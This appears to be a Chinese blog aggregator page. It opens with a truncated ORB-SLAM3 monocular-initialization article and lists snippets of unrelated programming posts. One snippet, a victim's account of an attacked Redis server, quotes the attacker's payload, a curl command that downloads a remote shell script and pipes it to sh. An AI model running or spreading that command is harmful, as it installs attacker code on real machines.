当前位置： 首页 > news >正文

手把手带你死磕ORBSLAM3源代码(三十四)Tracking.cc MonocularInitialization编辑

news 2026/2/10 16:35:15

目录

一.前言

二.代码

2.1完整代码

2.2 单目视觉跟踪初始化

一.前言

    这段代码是一个名为MonocularInitialization的函数，它属于Tracking类。从函数名称和代码内容来看，这个函数主要用于单目视觉跟踪的初始化过程。以下是代码的详细解读：

    首先，函数检查一个名为m

相关文章：

手把手带你死磕ORBSLAM3源代码(三十四)Tracking.cc MonocularInitialization编辑

目录 一.前言 二.代码 2.1完整代码 2.2 单目视觉跟踪初始化 一.前言 这段代码是一个名为MonocularInitialization的函数，它属于Tracking类。从函数名称和代码内容来看，这个函数主要用于单目视觉跟踪的初始化过程。以下是代码的详细解读： 首先，函数检查一个名为m...

编程日记 2024/1/8 12:48:05

STL标准库与泛型编程（侯捷）笔记3

STL标准库与泛型编程（侯捷） 本文是学习笔记，仅供个人学习使用。如有侵权，请联系删除。 参考链接 Youbute: 侯捷-STL标准库与泛型编程 B站: 侯捷 - STL Github:STL源码剖析中源码 https://github.com/SilverMaple/STLSourceCo…...

编程日记 2024/1/8 12:47:04

Iceberg: 列式读取Parquet数据

通过Spark读取Parquet文件的基本流程 SQL > Spark解析SQL生成逻辑计划树 LogicalPlan > Spark创建扫描表/读取数据的逻辑计划结点 DataSourceV2ScanRelation > Spark优化逻辑计划树，生成物理计划树 SparkPlan > Spark根据不同的属性，将逻辑…...

编程日记 2024/1/8 12:46:03

Ansible、Saltstack、Puppet自动化运维工具介绍

本文主要是分享介绍三款主流批量操控工具Ansible、Saltstack、Puppet主要对比区别，以及Ansible和saltstack的基础安装和使用示例，如果觉得本文对你有帮助，欢迎点赞、收藏、评论！ There are many things that can not be broken&am…...

编程日记 2024/1/8 12:45:02

python线程池提交任务

1. 线程池参数设置 CPU数量：N线程池的核心线程数量 IO密集型的话，一般设置为 2 * N 1； CPU密集型的话，一般设置为 N 1 或者 使用进程池。线程池的最大任务队列长度 （线程池的核心线程数 / 单个任务的执行时间&#…...

编程日记 2024/1/8 12:44:01

跨境电商企业客户服务优化指南：关键步骤与实用建议

随着全球经济一体化的加强，跨境电子商务产业在过去几年蓬勃发展。但是，为应对激烈竞争，提供全方面的客户服务成为了跨境电子商务卖家在市场中获得优势的关键因素之一。本文将介绍跨境电商企业优化客户服务有哪些步骤？以助力企业提…...

编程日记 2024/1/8 12:41:59

Visual Studio Code 常用快捷键

Visual Studio Code 常用快捷键 文章目录 Visual Studio Code 常用快捷键1. 主命令框2. 常用快捷键2.1 编辑器与窗口管理2.2 代码编辑格式调整光标相关重构代码查找替换显示相关其他 1. 主命令框 F1 或 CtrlShiftP : 打开命令面板。在打开的输入框内，可以输入任何命…...

编程日记 2024/1/8 12:38:56

ubuntu创建pytorch-gpu的docker环境

文章目录 安装docker创建镜像创建容器 合作推广，分享一个人工智能学习网站。计划系统性学习的同学可以了解下，点击助力博主脱贫( •̀ ω •́ )✧ 使用docker的好处就是可以将你的环境和别人的分开，特别是共用的情况下。本文介绍了ubuntu环境…...

编程日记 2024/1/8 12:37:55

数据库原理与应用期末复习试卷2

数据库原理技术与应用 一.单项选择题 设有属性A，B，C，D，以下表示中不是关系的是( C) ​ A、R(A) B、R(A, B, C, D) C、R（AxBxCxD） D、R(A，B) 在SQL语言中的视图VIEW是数据库的(A）…...

编程日记 2024/1/8 12:36:55

操作系统丨单元测试

文章目录 单元测试选择题填空题单元测试 选择题 【单选题】可以实现虚拟存储器的方案是（D）。 A. 固定分区方式 B. 可变分区方式 C. 纯分页方式 D. 请求页式 【单选题】文件系统中文件存储空间的分配是以（D）为基本单位进行的。 A. 字 B. 字节 C. 文件 D. 块 【单选题】哪种…...

编程日记 2024/1/8 12:35:54

tcp/ip协议2实现的插图，数据结构6 (24 - 章)

(142) 142 二四1 TCP传输控制协议 tcpstat统计量与tcp 函数调用链 (143) 143 二四2 TCP传输控制协议 宏定义与常量值–上 (144) 144 二四3 TCP传输控制协议 宏定义与常量值–下 (145) 145 二四4 TCP传输控制协议 结构tcphdr,tcpiphdr (146) 146 二四5 TCP传输控制协议 结构 tcp…...

编程日记 2024/1/8 12:32:50

Linux链接的创建，删除，修改

目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中，链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用&#xff0c…...

编程日记 2024/1/8 12:30:48

HarmoryOS Ability页面的生命周期

接入穿山甲SDK app示例： android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK，实现app流量变现 Ability页面的生命周期 学习前端，第一步最重要的是要理解，页面启动和不同场景下的生命周期的…...

编程日记 2024/1/8 12:29:47

【Flink 从入门到成神系列 一】算子

👏作者简介：大家好，我是爱敲代码的小黄，阿里巴巴淘天Java开发工程师，CSDN博客专家📕系列专栏：Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列🔥如果感觉博主的文章还不错…...

编程日记 2024/1/8 12:28:46

无人机自主寻优降落在移动车辆

针对无人机寻找并降落在移动车辆上的问题，一套可能的研究总体方案： 问题定义与建模： 确定研究的具体范围和目标，包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型（MDP&#xff09…...

编程日记 2024/1/8 12:27:45

科技感十足界面模板

科技感界面 在强调简洁的科技类产品相关设计中，背景多数分为：颜色或写实图片两种。 颜色很好理解，大多以深色底为主。强调一种神秘感和沉稳感，同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用，就要求其…...

编程日记 2024/1/8 12:26:44

pytest装饰器 @pytest.mark.parametrize 使用方法

pytest.mark.parametrize 有三种传参方法，分别是： 1.列表传参：将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参：将参数值作为元组传递给装饰器。 pytes…...

编程日记 2024/1/8 12:20:36

redis被攻击

之前由于redis没有修改端口，密码也比较简单，也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本，比如：Back1 Back2 Back3 Back4 ，内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式，如下…...

编程日记 2024/1/8 12:19:35

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明

处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置；默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

编程日记 2024/1/8 12:18:34

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024

AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

编程日记 2024/1/8 12:15:31

大数据学习栈记——Neo4j的安装与使用

本文介绍图数据库Neofj的安装与使用，操作系统：Ubuntu24.04，Neofj版本：2025.04.0。 Apt安装 Neofj可以进行官网安装：Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...

编程新知 2026/2/8 4:37:08

基于FPGA的PID算法学习———实现PID比例控制算法

基于FPGA的PID算法学习 前言一、PID算法分析二、PID仿真分析1. PID代码2.PI代码3.P代码4.顶层5.测试文件6.仿真波形 总结 前言 学习内容：参考网站： PID算法控制 PID即：Proportional（比例）、Integral（积分&…...

编程新知 2026/2/8 18:25:56

脑机新手指南（八）：OpenBCI_GUI：从环境搭建到数据可视化（下）

一、数据处理与分析实战 （一）实时滤波与参数调整 基础滤波操作 60Hz 工频滤波：勾选界面右侧 “60Hz” 复选框，可有效抑制电网干扰（适用于北美地区，欧洲用户可调整为 50Hz）。 平滑处理&…...

编程新知 2025/11/19 22:56:53

《用户共鸣指数（E）驱动品牌大模型种草：如何抢占大模型搜索结果情感高地》

在注意力分散、内容高度同质化的时代，情感连接已成为品牌破圈的关键通道。我们在服务大量品牌客户的过程中发现，消费者对内容的“有感”程度，正日益成为影响品牌传播效率与转化率的核心变量。在生成式AI驱动的内容生成与推荐环境中&#xff0…...

编程新知 2026/2/2 1:48:09

使用van-uploader 的UI组件，结合vue2如何实现图片上传组件的封装

以下是基于 vant-ui&#xff08;适配 Vue2 版本 &#xff09;实现截图中照片上传预览、删除功能&#xff0c;并封装成可复用组件的完整代码&#xff0c;包含样式和逻辑实现&#xff0c;可直接在 Vue2 项目中使用&#xff1a; 1. 封装的图片上传组件 ImageUploader.vue <te…...

编程新知 2026/1/31 2:37:22

Python爬虫（二）：爬虫完整流程

爬虫完整流程详解&#xff08;7大核心步骤实战技巧&#xff09; 一、爬虫完整工作流程 以下是爬虫开发的完整流程&#xff0c;我将结合具体技术点和实战经验展开说明&#xff1a; 1. 目标分析与前期准备 网站技术分析&#xff1a; 使用浏览器开发者工具&#xff08;F12&…...

编程新知 2025/10/19 5:48:51

Nginx server_name 配置说明

Nginx 是一个高性能的反向代理和负载均衡服务器&#xff0c;其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机&#xff08;Virtual Host&#xff09;。 1. 简介 Nginx 使用 server_name 指令来确定…...

编程新知 2025/9/6 16:47:17

Unit 1 深度强化学习简介

Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库&#xff0c;例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体&#xff0c;比如 SnowballFight、Huggy the Do…...

编程新知 2026/2/8 12:54:53

Springboot社区养老保险系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;社区养老保险系统小程序被用户普遍使用&#xff0c;为方…...

编程新知 2026/2/10 11:09:10

基于 TAPD 进行项目管理

起因 自己写了个小工具&#xff0c;仓库用的Github。之前在用markdown进行需求管理&#xff0c;现在随着功能的增加&#xff0c;感觉有点难以管理了&#xff0c;所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD&#xff0c;需要提供一个企业名新建一个项目&#…...

编程新知 2026/1/24 14:15:44